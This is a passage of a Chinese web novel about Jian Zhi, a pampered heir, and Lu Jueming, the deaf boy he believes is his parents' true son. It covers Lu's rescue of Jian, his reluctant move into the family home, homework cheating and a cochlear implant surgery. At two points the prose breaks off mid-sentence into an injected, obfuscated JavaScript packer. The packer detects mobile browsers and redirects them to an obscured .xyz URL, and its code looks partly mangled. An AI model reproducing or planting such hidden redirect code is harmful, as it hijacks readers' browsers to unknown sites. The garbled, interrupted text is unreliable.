路觉铭是故意不理他,而沈晓清和简川是完全不愿意去相信这个可能。 哪怕他们刚见到路觉铭时,也为这少年的眼熟而吃了一惊。夫妻两个打量了半天,都没想起他到底像谁,只觉得熟悉,却根本没想过,他像的正是他们自己。 就在这时,简知的主治医生赶到了病房,还带着几名护士与见习医师。 简氏夫妻与路觉铭便都给他们让开位置,好让医生来为简知做检查。 简知只能分神去应付医生,先被测量了心率、血压和温度,又老老实实地被问了身体各方面的感觉和情况,等他回过神来想找路觉铭时,才发觉对方已无声无息地离开了病房。 简知忙喊沈晓清道:“妈,路、路觉铭走了!” 沈晓清说着:“宝贝,你在说谁?哦,你说那个送你来的男孩子吗?你先别着急,等你身体好点再去找他好不好?” “妈妈,你听我说——”简知急着想让她明白路觉铭到底是谁,可沈晓清却只当他还在意识混乱的状态,只想着先安抚他的情绪,嘴上“嗯嗯”地应了几声,身体的动作却丝毫没变。 倒是简川招呼了下在病房外等着的助理,让他先去和路觉铭保持联系,以方便他们后续找对方表达谢意,但也没把简知说的话放在心上。 简知只能万分不甘心地躺回病床上,都快灰心了。 而病房外,路觉铭神色如常地独自走出走廊,乘坐电梯,离开了医院。 只有等他走出医院大门的时候,那只一直垂落在左侧的手,才像恢复感知般地动了动手指。 他停下脚步,低下头看了看这只手。 到现在,这只手仍然是发麻的。 昨天,他就是用这只手接住闭上眼睛昏过去的简知,当时的心情……无异于让他坠落地狱,再死了一次。 他不愿再回忆那种感觉。 从把简知送到医院再到给简氏夫妇打电话全程,他连眼睛都不敢眨一下,生怕自己一个疏忽,怀里的简知就会消失。 命运总爱作弄他,要让他不得好死,也要让他不得好活。他根本无法预料,也不敢猜测,下一秒迎接自己的会是什么。 因此一分一秒,都不敢让简知离开自己的视线。只有等简知彻底醒来后,他才敢放松一些。 他回到自己独自居住的出租屋,进了小区,打开单元门,刚要走上楼梯,便看到楼梯口,站着两个面孔陌生的男人。 两个男人穿得都很普通,仅仅是款式一致的行政夹克,可路觉铭在刚看到他们的第一眼时,神情就立刻变得警惕。 他没再向前,而是站定。 一个男人朝路觉铭笑笑,右手插在口袋,说:“小路,魏先生有事找你。” 11. 简知 简知在医院里被进行了各种各样的检查,都没查出他哪项指标有什么异常,医生也没法解释他到底是为什么突然昏厥,最后只能归咎于可能是情绪过激产生的暂时休克,又让他呆在医院里多观察了几天。 他仍然不死心,这几天里又向简氏夫妻提了好几次路觉铭的事,都被他们搪塞了过去,到后来沈晓清甚至有些伤心:“宝贝,你明明就是从妈妈身上掉下的肉,你刚生出来的时候,我就亲眼看到过你,那么小小的一团,皱巴巴的小猴子一样,妈妈心都要化了,你怎么能说自己不是妈妈的孩子呢?你再这样说,妈妈真的要难过了。” 简知不忍心让她难过,便只能暂时闭上嘴巴不提了。 好在,简川保存了路觉铭的电话号码,还说要让简知亲自去向别人道谢。 虽然夫妻二人也很疑惑,那天路觉铭是怎么找到的他们的私人号码,但无论如何,路觉铭救了简知这件事确凿无疑,他们家是欠了路觉铭一个大人情——要是简知在身边无人陪伴的情况下倒在街头,他们都不敢想象会发生什么。 从小简知就是被他们精心看护长大,在简知只有几岁的时候,毗邻的港城已出过好几桩惊动海内外的绑架案,那时简知出入都有保镖跟随。也是这两年内地治安见好,他们才放松了警惕,敢让简知一个人出门,却没想到还会发生这样的意外。 简知在医院呆了三天才被允许回家,他一回到家,看到家中种种熟悉景象,又是一阵恍惚,差点又要抱着沈晓清哭鼻子。 他在自己房间里睡了一个好久好久都没有过的好觉。 大病一场,才知道原来健康的身体如此珍贵,胜过无数财富。能有一个香甜无梦的好觉,是他多少年来想都不敢想的事情,只觉身体的每个角落都在柔软的床垫上被熨烫得服服帖帖,连脚趾都放松舒适。 睡得这样饱,次日他才有好精神,鼓起勇气再次去找路觉铭。 爸爸妈妈的意思,是让他当面邀请路觉铭来家里吃饭,好表达他们一家的郑重谢意。简知当然乐意促成这件事,因为他有自己的小算盘,第二天就从家里出发了。 简川有路觉铭的电话号码,自然能让秘书查到路觉铭所在的中学,简知就在简川秘书的陪伴下,去了路觉铭的学校。 正值放学时分,学生们纷纷从校门口涌出,或被家长接送走,或自己骑单车回家,简知坐在车里,趴在车窗边上仔细瞧着从校门口出来的每一个人,却怎么都没看到路觉铭。 他焦虑起来:路觉铭是不是没来学校?是蒋叔叔找错地址了吗?路觉铭不来学校,又会去哪里呢……啊!不会是—— 他一下子心提到了喉咙口,从记忆中找出在路觉铭来到他家之前的零星片段,那次在那家餐厅里看到的路觉铭。路觉铭是不是……又被□□欺负了? 简知暗暗着急,不时扭头看几眼坐在前面的蒋恒升——简川的大秘书,不知道该怎么跟对方开口求助。 他想,一旦跟蒋叔叔说了这件事,那爸爸就也会知道了,他要是因此对路觉铭产生偏见,该怎么办呢? 简知最不希望的就是让路觉铭在父母心中的形象变坏。 不行不行,绝对不能告诉蒋叔叔! 所以简知只能一个人着急,等他将五根手指轮流咬遍之后,终于在车里坐不住了,对蒋恒升道:“蒋叔叔,我到门口那边去看看!” 没等蒋恒升出声,他就先一步打开车门跳下了车,逆着人流往学校出口跑去。 他个子小,身形窄,在人群中穿梭自如,而蒋恒升下车想追上他,却正好被几辆堵在一起的小轿车拦住,没来得及跟上他的脚步。 蒋恒升叫着他的名字,急得额头冒汗:“知知,回来车上!外面车太多了……小心啊!” 简知已经跑进学校。 他也不知道该去哪里找路觉铭,但明白肯定得先摆脱蒋恒升,再想别的办法,大不了就报警……对,可以报警…… 简知胡思乱想着,在进校门的水泥路上慢下脚步,结果还没走多远,就听到了一声刺耳的刹车声。 一辆自行车在他面前横着停下,路觉铭单脚撑地,跨在自行车上,拧着眉头看向他。 简知险些吓得跳起来,打了个哆嗦,无意识的畏惧和如释重负的惊喜同时涌现,让他脱口而出:“你在这里!” 路觉铭的眉头仍然死死拧着。他没应声,盯着简知,把单肩背着的书包拿下来扔进车前兜,然后用手语比划:“为什么来?” 他似乎极不欢迎简知的出现。 简知无措地后退了一步,察觉到路觉铭的“不欢迎”,情绪马上低落下去。他摸了摸耳后根,努力用手语做动作:“我、我……我来找你的。” 他大着胆子抬头,水汪汪的一双杏仁眼再次往路觉铭脸上看。 简知这几天在医院吃得清淡,居然消瘦了些,抬脸看路觉铭时,连尖尖的下巴线条都出来了,显得尤为可怜可爱,眼睛眨巴眨巴,一副委屈模样。 他刚才还跑了一两百米,仍在小口喘气,说着:“爸爸妈妈想让你来家里吃饭,你愿意来嘛?” 他没在“爸爸妈妈”的称谓前,加上“我的”这个限定词,在路觉铭面前,他不好意思,也心虚这样叫。 路觉铭的眼帘微微下沉。 他朝简知摇了摇头,然后扶起车把,作势要重新骑上去。意思已经清楚。 简知露出失望神色,无意识抿起嘴角,水润的下唇唇瓣随之向外展开,像一小片鲜嫩的花苞。 “不要摇头好不好……”简知的声音越来越小,“爸爸妈妈都很希望你来家里的呢。” 他硬着头皮,决定死缠烂打。 不管如何,他一定要把路觉铭弄到家里去!只有这样,他才能完成他的计划。 “不要走——”简知干脆上前,按住了路觉铭的车筐,“去我家吃饭……” 面对路觉铭,他是百般想跑想逃,想让对方放过自己。 可是身处这个梦境,他又竭力想弥补一点自己的遗憾。这一点希望,已足够将他灵魂点亮,怎么都不肯放弃。 所以,现在是他不愿放过路觉铭了。 他语调带着乞求,按住路觉铭自行车不放的动作又近乎撒娇,让路觉铭忍不住用力握紧车把,然后强自忍耐着,从他身上挪开视线。 路觉铭仍是摇头,这次还把哑巴逼得说话了:“不。” 简知心里凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993612|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透了。 他嗫嚅道:“为什么不肯啊……路,路觉铭,你总是这样。” 可他又说不出路觉铭“总是”哪样,只是每次一见到路觉铭,心里就坠坠地发疼发酸,让他觉得难受。 路觉铭攥着车把手的手心都发白了。 他垂下眼帘,骑上车,正准备狠心离去,不料简知却一下又拉住他的手腕,再顺势抱住了他整条胳膊。 颇似小狗缠人的架势。 “我、我不管,”简知为了说动路觉铭,甚至心一横开始睁眼说瞎话,“你要是不来我家吃饭,爸爸会、会打我的!” ——远在岱宗大厦顶楼开会的简川莫名打了个大喷嚏。 简知整个人就贴在路觉铭身侧,仰着脖子,面庞正好在路觉铭肩头处,完全是在撒娇了:“求求你……” 路觉铭低头看他,双眼黑不见底。 他冷淡的脸上神色依旧,只是嘴角被用力压平。 其实他根本……对简知的撒娇没有任何抵抗力。 十年来,他对简知可以说言听计从,但凡简知想让他往东,他绝不会往西夺走一步,可偏偏,简知鲜少他有任何请求。 简知表达得最明显的,是不想见到他。一见到他就往后躲,侧过脸,连看也不想多看他一眼。所以他只能如简知所愿,离简知远一点,再远一点。 这是简知头一次这样主动地亲近他。 可为了简知,他不该答应。 他这次说的句子长了些,简洁利落,发音准确:“我不去。” 他伸出手,轻轻地,将简知推开、扶正,手心摸在简知肩头停顿了一秒,又如梦初醒般地迅速撤走。 简知有生以来第一次被路觉铭推开,满脸写着意外又不敢置信,呆呆地站在那里。 路觉铭踩下单车踏板,车轮向前滚动,简知突然上前,拉住了他的车后架,然后被自行车的力道带得向前踉跄了两三步,险些摔倒在地! 路觉铭猛地刹车,甩开自行车,回身扶住简知,急急忙忙地把简知抱进自己怀里,眉头直皱。 简知却像没事人一样,压根没放在心上,还在那说:“真的,爸爸妈妈和我都、都很感谢你,所以才想请你吃饭道谢——” 路觉铭实在难以忍耐,用炽热的掌心贴住他面庞,喉结上下滚动。 简知一下闭上了嘴。 他的眼睫飞快颤动,像风中毛茸茸的蒲公英,大眼睛向上抬,端详着神色莫名的路觉铭,牙齿轻轻咬住嘴唇。 被路觉铭用掌心贴紧的那片面庞正急速发红发烫,热度传递湿润水意到眼底。 路觉铭视线垂落,收回手,打手语:“不要,做,危险动作。” 简知伸手,扯了扯他的袖口,解释说:“我不是故意的……我只想让你来家里吃顿饭……” 路觉铭似是无奈,又似是心绪难耐,眼神在简知脸上看了又看,终于认命一样地,轻轻颔首。 ——面对简知纯然的稚子心性,那样热烈真挚,他永远无法抵抗,只有丢盔卸甲的份。 所有想好的计划,又再次被简知打乱。 他哪里不清楚,简知这么急切地想让他去家里,是为了什么。 12. 路觉铭 其实简知在二楼看到路觉铭的第一眼,就认出了他。 毕竟那年路觉铭留给他的印象太深,他始终都会记得那个趴在地上把酒液都舔干净的男孩,那双眼睛让他始终都忘不了。 新闻报道里没有放路觉铭的照片。可如今简知一看,才知道原来路觉铭就是那个男孩。 这样最好了。简知想。他来我家,就可以离开那些坏人了。 他在心中暗暗发誓,不会再让路觉铭露出那样的眼神。 所以他待路觉铭格外热情,只希望对方能比原来开心一点,更开心一点。 可他潜意识里,却还是记着路觉铭那时脸上的凶狠和杀气。 所以一旦路觉铭沉下面色,他就很害怕。天知道他要给自己鼓起多少勇气,才能在路觉铭黑脸时和他说话。 简知觉得自己好厉害! 他美滋滋地在路觉铭怀抱里蹭了又蹭,觉得路觉铭身上的淡淡香气也很好闻,一点也不臭呀,为什么佣人姐姐还要提醒他说像路觉铭这种捡垃圾小孩身上会很臭呢。 还有李震云说话更难听了,居然说穷人都很坏,会把简知的东西都偷光,可简知没看出来路觉铭有半点像小偷的样子。哥哥明明很正派,对爸爸妈妈也很有礼貌。 总之,简知对路觉铭满意得不得了。他总觉得路觉铭像一个爸爸妈妈带来送给他的大号毛绒玩具,(被)抱起来特有安全感。 路觉铭想结束这个拥抱时,简知还不乐意,带着鼻音撒娇:“不要不要,再抱一会儿,哥哥贴贴!” 他又怎么会想到那时路觉铭坐立难安,有多么煎熬。 两人从床上下来时,简知还穿着路觉铭的旧衣,他看了看路觉铭欲言又止、难以莫测的表情,还以为对方是想讨回衣服,便耍了个心眼说:“我先回我房间啦哥!” 没等路觉铭反应过来,直接穿着别人的旧衣服跑了。 他翻箱倒柜,从自己衣帽间里找出一件全新的大号诺悠翩雅短袖,想着去和路觉铭交换,结果刚推开路觉铭的房门,就听见洗手间那边有淋浴的声音。 他乖乖坐在床尾凳上等了一会儿,便看到路觉铭冷气森森地围着条浴巾走出来。 哇,还洗冷水澡的呀! 简知更崇拜路觉铭了。虽然洛溪市气候炎热,可他从小到大都洗不了冷水澡,一般都开温水。 路觉铭见他也是一惊,以为自己又要进去洗一回冷水澡。 好在简知这次没有折磨他,只是把一件短袖抖开给他看,笑盈盈说:“哥哥,我跟你换一件衣服好不好?这件给你!” 路觉铭其实很受用简知带着那种亲昵的语调喊他“哥哥”,内心极度暗爽,无论简知让他做任何事,他都愿意。 只是他看了看简知手里那件衣服,知道自己穿不下,便摇摇头。 简知脸上一阵失落,以为路觉铭意思是不肯和他交换衣服,马上乖乖道:“好吧,那我把衣服还给你……” 路觉铭平生第一天如此地渴望自己能吐字说话。他又拦下简知,拿出手机,认真打下几行字,递给简知看:“不用给我衣服,送你。” 他不知道自己那几件旧衣到底有什么好,但既然简知喜欢,那全部送给对方都无所谓。 简知立刻喜笑颜开,说:“真的吗?哥哥,你真是个好人!” 他站起身,左看右看这件 oversize 的短袖,觉得设计明明很时髦,而且上面还有路觉铭身上的味道,更让他喜欢。 他非常满意,想去帮路觉铭拿衣服来表达感激之情,没想到这时佣人在外面敲门,说是给路觉铭送衣服来。 简知替陆觉铭喊了声请进,便有两个佣人推着移动挂衣车进来,丝毫没有惊讶简知的在场,把挂衣车留下就安安静静地离开了。 “啊,是妈妈给你挑的新衣服吗?”简知蹦蹦跳跳地去看那一排衣服,随手拨了拨,说道,“尺码都好大!哥,你要穿哪套?” 路觉铭走过去,看也没看,随手拿了离自己最近的一套衣物。 简知觉得陆觉铭干什么都看起来很酷,眼神满是崇拜。 虽然他们同样十七岁,但路觉铭已经完全是成年男性的体型,和简知根本不能比,是那种常年维持运动的健康模样。尽管肩背肌肉尚未彻底结实饱满,可路觉铭已经看起来有蜂腰阔背的倒三角线条,薄肌轮廓亦十分流畅,让简知看得羡慕极了。 他津津有味地看路觉铭换衣服,完全是一种小男孩对大男孩的崇拜:“哥哥,你好帅啊!” 路觉铭扣上裤子腰扣的动作一顿,心下觉得讶异。他认为自己又黑又丑,和“帅”这个字完全无关,为什么简知还能夸得出口? 他本以为简知是不会说谎的,现在才知道简知原来也会说这种违心的奉承话。 他又看了一眼撑手坐在床尾凳上的简知,心想,简知自己才长得好看呢,是世界上最精致漂亮的小孩,像那童话里的小王子。 路觉铭径自不语,简知却在旁边夸个不停,忍不住说:“你练得比李震云好多了!他天天去练,腹肌还没你明显呢!” 路觉铭第二次听到这个名字,他已经想明白此人大抵是和简知交往亲密的好友,却还是忍不住打字问简知:“你经常和他一起玩吗?” 简知老实地点点头,大眼睛看向路觉铭:“对呀,不过我才不跟着他一起上健身房练呢,好累的,我小时候哮喘很严重,一直不习惯做高强度运动。” 路觉铭默然,心想,简知大可以一辈子悠游闲适的过完这一生,没人能逼着简知做他不爱做的事。 如今有简氏夫妇把简知放在心尖上宠,等日后他接替简氏夫妇,也一定会好好爱护简知,让简知一生都无忧无虑。有些人本就是生来该享受世界的偏爱。 ——不知不觉间,他都已将简知当成自己的所有物。就好像简知是和整个简家,一起签订财产转让协议,送到他手里的一样。 他换完一身新衣,就被简知拉着去游戏室玩游戏。这间游戏室就在简知房间另一边,里面除了正常的家装外,摆满了简知用过的各种各样游戏机,和他收集的各种 ACG 相关模型,还有他从小到大拼过的所有乐高积木摆件,简知非常自豪地向路觉铭介绍了他的那些大型乐高作品,讲解起每个积木的出处都十分兴奋投入。 他从小就是科幻迷,最爱《星际迷航》和《星球大战》,滔滔不绝地安利了许久,而路觉铭听都没听说过这些东西,却仍然耐心地听完简知的好几场太空科幻作品讲座。 那时的简知,从没想过要停下来问一问,路觉铭是否见过他习以为常的一切。 等后来他再和路觉铭说起时,路觉铭已能流畅地和他谈论星球大战两款类魂游戏的优缺点,并不知道这背后,路觉铭又花了多少时间,才勉强让自己挤进简知那个丰富奇妙的精神小世界里。 总之他们的关系一直如此,简知往往才是在前面跑的那个,而路觉铭需要不紧不慢地跟在他后面,方能保持住一个让简知不至于察觉的身位,有时还得付出简知看不见的努力,才能让自己跟上简知的脚步。 他的爱如此谨小慎微,知道只要一点点显露,就会酿成不可估量的恶果。他承担不起那个代价,而只愿永远维持现状。 尽管家里来的新客人夺去了简知大部分注意力,但他的日常生活仍然没有太大变化,白天上学,下午三点就回家,然后找路觉铭一起玩耍,再拖到半夜写作业。 好在简知读的国际部,课业压力没有普通高中教学那么大,这才让他勉强跟上学习进度。 路觉铭只在家里住了不到一星期,简知已发现路觉铭的妙用——替他写作业。 当然,这事只能瞒着爸爸妈妈进行,因此他每次都是和路觉铭假装在影音室看电影,实则从书包里拿出一张张试卷,让路觉铭帮他写试卷! 路觉铭若真想做些违法乱纪的坏事时,其实心思十分缜密,为防止此事被简知的老师发现,他还特地先用白纸将答案书写一遍,再让简知往试卷上抄写,如此便不会被老师察觉出二人笔记上的不同。 他们的字迹都和各自的模样相似。路觉铭的字迹一笔一横都锋芒毕露,结构清晰,精瘦劲道,而简知则是圆圆胖胖的标准欧美人英文字体,中文就更是歪歪扭扭,惨不忍睹。 简知的试卷和普通高中正常教学进度相比,其实题目都已十分简单,路觉铭虽然只上完了初三课程,却也能做个七七八八,剩下的则靠直接在网上搜索教程自学完成,不出半月,他就已将简知的作业答得十分完美,简知几乎每张卷子都是 A +。 简知相当得意,在学校里向李震云炫耀了数次他的 A+成绩,李震云不以为然,一边咬着棒棒糖一边嗤笑道:“这作业是你自己写的我吃。” 那当然是简知一笔一划抄下来的,怎么就不算是自己写的!简知哼哼唧唧,懒得辩解,算了,清者自清,走自己的路,让李震云羡慕去吧! 这当然会引起他任课老师的注意。但老师也没有打草惊蛇,直接把简知叫去问话,而是先把这个情况告诉了简氏夫妇。 简氏夫妇自然稍微一想,就知道了怎么回事。但他们最先找的却是路觉铭。 二人把路觉铭喊到家中一间书房,沈晓清与路觉铭隔着一张圆几相对而坐,简川则站在沈晓清身侧。 沈晓清神情略带忧色,犹豫着开口道:“小铭,我想你这些天在家里,也看见了知知的情况。” 她与简川对视一眼,又向路觉铭道:“知知确实不是我们家的遗传基因,从小学习就很吃力,可我和你爸爸从读书的时候,就每次只考各自的全县第一。” 简川笑了一声,说道:“我想在这方面,你是遗传到了我们。我们听说你以前在学校里,成绩也很好,还拿过奥赛第一名,是吗?” 路觉铭没有任何动作。 他已经知道父母找他来是为了什么,可就算东窗事发,他也绝不会背叛简知。他打算将这件事自己抗下。 岂料沈晓清却说:“每个人都有自己擅长和不擅长的东西,每个人也都有自己的闪光点。其实我和你爸爸早就接受了知知的学习能力差,我们也从来没有对他在这方面,有过什么要求。 “我和你爸爸一直在鼓励知知尽可能多去尝试不同的爱好,他喜欢画画,手工也很好,拼积木还拿过奖,又热爱小动物,还能自己独立筹款募捐组织一个小动物救助协会,这难道不是一个优秀的孩子?” 路觉铭迟疑着,点了点头。 简川道:“所以我们来找你,其实并不是想来批评你……当然,简知偷懒不自己写作业,我们肯定是会去管,但我和你妈妈想对你说的是,你不需要因为觉得简知来这个家里的时间更长,而想去讨好他。你同样也是爸爸妈妈的孩子,不,你还是我们的亲生孩子——” 沈晓清撞了撞他的腰侧,不太乐意他讲起这种话,插嘴道: “你就把简知当你朋友,小铭,没事的,不用太迁就简知。还有,就算你能帮得了简知一时,你能帮得了一世吗?他注定不会在学业这块上有所成就,又何必强行让他有一张漂亮的成绩单?这对他来说毫无用处。 “我们对简知的教育方针,就是多鼓励、少评判,多让他在别的方面找到自信。如果你这样去帮他,反而会害了他,让他在考试时吃到苦头。你实在不应该帮他玩这些小聪明,这其实是在害他。小铭,爸爸妈妈没有生你的气,就是想告诉你这个道理。 “他和你一样,都得有自己的路要走。” 路觉铭一声不吭,认真听她说着,放在双膝上的双手轻轻握拢。 沈晓清知道他听了进去,也不再多说什么,刚要拿起茶杯,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993613|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到路觉铭那边传来一声“……嗯”。 她又惊又喜,抬头看去:“你、你能说得出话了?” 路觉铭抿起双唇,又点了点头。 从他搬来的那天起,他就已经在跟着夫妇二人请来的发声康复师学习说话。其实他已经学会好几个字词的发声,但十几年来从未使用过的语音器官仍显得生涩而滞重,每次开口都需要付出十分的努力,因此除了那位老师外,他没在任何人面前开过口。 沈晓清欢喜得要跳起来,她起身走过去抱住路觉铭,说道:“妈妈就知道你一定可以,你一定能学会说话的,等你的植入式助听器手术做完了,你就和正常人没有任何区别!” 简川也喜出望外:“可以、可以,说明医生的诊断没错,你的声带没有问题,只是因为听力的丧失而没能在语言习得期学会发声……不过也别太有压力,小铭,慢慢来就行,别逼着自己学。” 路觉铭低下头,仍是一声简单的“嗯。” 就光是这一个字,就足够让夫妇俩开心半天了。 路觉铭离开小书房,回到和简知私下碰头做坏事的影音室,简知已在那翘首以盼。 “怎么样?他们发现了吗?是不是要骂我?”简知紧张地问。 他一边说,一边做起手语手势和表情,是路觉铭这几天教他的,分别是“他们”、“看穿”和“责骂”。 路觉铭安静地看着他比划,目光深深若潭。 简知对手语不知为何兴趣极高,这段时间日日拉着他学,他用手机一个词一个词打出来给简知看,再教他做动作,而简知也已习惯和他说话时,常口手并用,仿佛这样能让他听得更清楚。 而他又何尝不是默默地练了千百次那舌头前段顶住上颚的发音姿势,试图通过舌面送出的气流,来发出一个最简单的翘舌音,念出“知”这个字。 他第一个想喊出的名字就是简知。知知。 语言是工具,是圈戒,某种铭刻在脑部语言中枢的疼痛记忆,人类通过语言来完成对自我身份的建构,通过语言的描述去记录画面,让记忆更真实存在。 而他们都试图去学习对方的语言,仿佛要拨开那些横亘在他们之间密密麻麻的绿色藤蔓,感知对方更纯粹灵魂。 路觉铭朝他摇摇头,舌尖就顶在上颚处,硬生生想要逼自己开口,可无论如何,那一丝气流都如闭塞般无法送出。 最终,他只能垂下眼帘,有些懊恼地在手机上打字:“他们知道了,让我以后不能帮你。” 简知发出失望的声音,却也没难过几秒,因为他和路觉铭在一起时,总有成千上万个新鲜念头冒出。 他才惋惜自己不能抄作业了,又想起爸爸妈妈之前说等路觉铭做完人工耳蜗手术,他就可以和自己一起上学,便问:“对了对了,你什么时候去做那个什么耳娲手术啊?” 他根本不懂那是什么东西,还把“耳蜗”的读音记成了“耳娲”。 路觉铭竖起左手食指,再将右手食指放在上面向下滑到底,意思是“一个月”。 简知已能看懂很多这样的手语词汇,他开心道:“太好了,那再过一个月,你就能和我一起去学校啦!嘿嘿,哥哥你要和我一起上下学!” 简知鼓掌欢呼,又觉得一个月的时间太长,恨不得马上就将日历拨转到十月,便能拉着路觉铭一起去学校。 其实简知厌学,只是厌的坐在课堂上学习,他没什么理由讨厌学校。在学校里,他受到众星拱月般的待遇,所有同学都对他很好,走到哪里都有人和他说话聊天,简知很喜欢在学校里和朋友们玩耍。 所以他自然而然地认定,路觉铭在学校也会很开心,总比每天都待在家里好。 接下来的那一个月,他便一直盼望着路觉铭的手术日。 到手术日前几天,他们全家都乘坐私人飞机一起前往美国,陪同路觉铭完成那场早已预约好的手术。 正值国庆假期,简知像去度假一样兴奋,在飞机上和路觉铭挤在一张沙发椅上嘀嘀咕咕、交头接耳,又大啖水果沙拉,吃的嘴角全是果汁,连吐息都是清新的果香气。 沈晓清看得好笑,便拿起带着的微单,给简知和路觉铭二人拍了张照片。 画面中简知正斜坐在沙发椅扶手上,大腿上还放着一盆水果沙拉,而路觉铭则端正地坐在椅子上,双手托着一本巨大的铜版纸印刷《星际迷航》画册,两人的面孔相互靠近,都在仔细研究某页上的高清企业号 4K 图像。 她后来将这张照片放入一本简知和路觉铭单独的相册里,再后来,这本相册又被路觉铭每日摩挲翻烂。 路觉铭的手术做的是全麻,手术很成功,但路觉铭被推出手术室后,又过了好几个小时才苏醒。 简知和爸爸妈妈便都守在路觉铭床边,简知直接在路觉铭床上拼积木,简氏夫妻则在那处理些一些公司上的事物。 等路觉铭醒来时,他第一眼看到的,就是简知的脸。 “醒了醒了,哥哥醒了!”简知立刻通知爸爸妈妈,简氏夫妇二人也迅速围到路觉铭床边,问:“感觉怎么样?”“你口不口渴,要不要喝点水?” 麻醉药效力未全过,路觉铭的目光没有往日敏锐,显得有些迟钝。 他楞楞地盯着简知看了几秒,然后又将目光移向沈晓清与简川。 他从未想过自己的人生还会有这样一刻:所有亲人都在身边,面上皆笑意盈盈,而耳边的每一个声音都清晰必现,远至病房外树梢的鸟鸣,到病房内监护器运转的轻微嗡鸣,和走廊里小推车滚轮压过地面的声音……好像这世界突然清晰地出现在了他眼前,远处和近景都开始有了层次,每个事物都有它们的态度和声音。 仿佛这一天,是他人生焕然一新的开始。 世界终于对着他,显露了不同的样貌。 13. 路觉铭 路觉铭的身体恢复良好,不出一个星期,伤口便基本愈合。他新安装的外置声音接收器外表黑色,小拇指粗细,挂在耳后,若不仔细看,也很难看出他还带着助听器。 这短时间一家人便住在他们位于波士顿的郊区别墅,别墅毗邻海湾,出去不远就是沙滩。简知每年都随父母来此小住度假,因此已经对这里很熟悉,还和住在附近的一个白人男孩十分要好。 那男孩名叫丹尼尔,父亲是州议员,母亲担任本地通讯公司行政总裁。他家境优渥,相貌亦高大帅气,和简知相识多年,经常和简知互相寄送明信片与礼物。 他带简知驾驶小艇出海海钓,简知玩得不亦乐乎,与丹尼尔用流畅英文不停说笑,却也不忘回头与路觉铭用手语比划交流,没有将路觉铭冷落在一边。 简知总是如此,待任何人都真挚亲切,向谁都露出一颗拳拳赤子真心,因为他毫无被伤害的顾虑。他从未被任何人伤害过。 只是他没有想过,路觉铭和他截然不同。 路觉铭的词典里,只有争和抢。从小到大,他所有的东西,都要费尽十分力气,才能攥到手里。幼时他跟着路珍妹去捡拾废品,有男性拾荒者要作势要驱赶他们祖孙二人,威吓抢走他们攒下的一蛇皮袋塑料制品。而那时路珍妹就是无论如何都不肯轻易让出,一个老太太,被推搡倒地,披头散发地爬起来,拿着根扫把就要和人家拼命,最后还是她那气势将对方唬住,成年男人居然灰溜溜夹着尾巴认输。 最后那袋塑料瓶卖得十一元五角,路珍妹仔细用捡来的保鲜袋一层层包裹叠好,再塞进路觉铭鞋底。仅仅十一元五角,即可让他们拼命。 像那路边游荡的野狗,与其它流浪狗争夺抢食,一旦将肉骨头咬进嘴里,就算是将它打死,都不肯再轻易松口吐出。穷人的生存哪有尊严可言,更不可能大方和他人分享自己拥有的任何东西,都需紧紧裹紧胸膛,才可护得自己安全。 他已将简知视作自己的所属品,自然对任何人与简知的亲密都感到难以忍受。他在边上看着那白人与简知说笑,对方身形高大健壮,简知在对比下,宛如精致剔透的东方娃娃,都能被对方轻松用一臂掌握。 路觉铭不由生出几分阴郁的妒忌与懊恼,可最遗憾的,仍是自己没有参与简知过去十几年的人生。 他走了很远的路,才抵达简知面前。好不容易,才能抓住简知的一片衣角,可简知身后,却仍有一个明亮璀璨的过去,他永远都无法涉足。 他们自美国回国后没多久,路觉铭便进入简知所在的高中就读。 这所学校是洛溪市最好的双语私立学校,简知从幼儿园开始就在这里上学,一路免试升入高中国际部,而路觉铭去的则是学校面向国内高考开设的普高部,每年学生的重本率高达 87%,剑桥威廉国际学校也因此稳居洛溪市第一名校,只有在洛溪市中考排名全市前百的学生才有资格拿到奖学金在这就读。 虽然他们读的是同一所学校,但国际部和普高部不在同一个教学楼上课,食堂也各自分开,平时很少接触。其实两个部的学生都有些相互看不起的意思,普高部学生个个都天资聪颖,从小各种竞赛奖项拿到手软,觉得国际部学生都只是些不学无术的二世祖;而国际部的学生则都把普高部的人当成是拿着奖学金来蹭他们资源的穷鬼,还一个个都心高气傲,更加让人讨厌。 路觉铭换上了学校里定制的校服,英式深蓝色西装外套搭配米色西装长裤,系墨蓝条纹领带,而简知的校服领带则是墨绿色条纹,这也是两个学部的校服唯一区别。 他刚入学时,仍无法出声,也不爱与人交谈,同学便依然将他视作哑巴,都只当他可能是通过学校的残障福利计划进的学校,便多多少少对他存了些轻视。 再加上他刚接触高中授课内容,大部分知识还很生疏,所以在课业上的表现也并不出色,于是同学们便更认定他是特殊通道进来的学生,而他这个残疾人的身份,便这样坐实了。 学校里的小道消息传得飞快,不出几日,连国际部的学生都知道了普高部来了个哑巴转学生,纷纷嘲笑普高部现在连残疾人都收了,有什么资格跟他们国际部比。 只有简知完全没听过这个消息。其他学生知道他性格,围着他时,都只和他聊些他喜欢的话题,而更多时候,他都只和李震云同进同出。 这几天李震云最喜欢在简知面前向他宣传路觉铭的“危害”。他可比简知聪明太多,消息灵通,知道路觉铭住进简家的事情没那么简单,总让简知离路觉铭远一些。 但简知怎么会听他的,他现在最崇拜的同龄人就是路觉铭,因此对李震云的劝告左耳朵进右耳朵出,根本不放在心上。 